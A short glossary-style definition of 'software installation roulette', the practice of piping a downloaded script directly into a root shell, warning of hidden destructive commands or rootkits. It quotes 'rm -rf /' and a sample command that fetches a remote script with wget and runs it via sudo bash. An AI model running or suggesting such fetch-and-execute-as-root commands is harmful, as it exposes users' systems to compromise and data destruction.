software installation roulette - The practice of piping the output of a web browser or other HTTP tool directly through a system shell, usually as root to install something important. The danger is that you don't know if the shell script has anything nefarious in it (such as rm -rf / or the installation of a rootkit) and by the time you find out it's far too late.
For example: sudo bash -c "$(wget -q -O- https://totally.legit.example.com/install.sh)"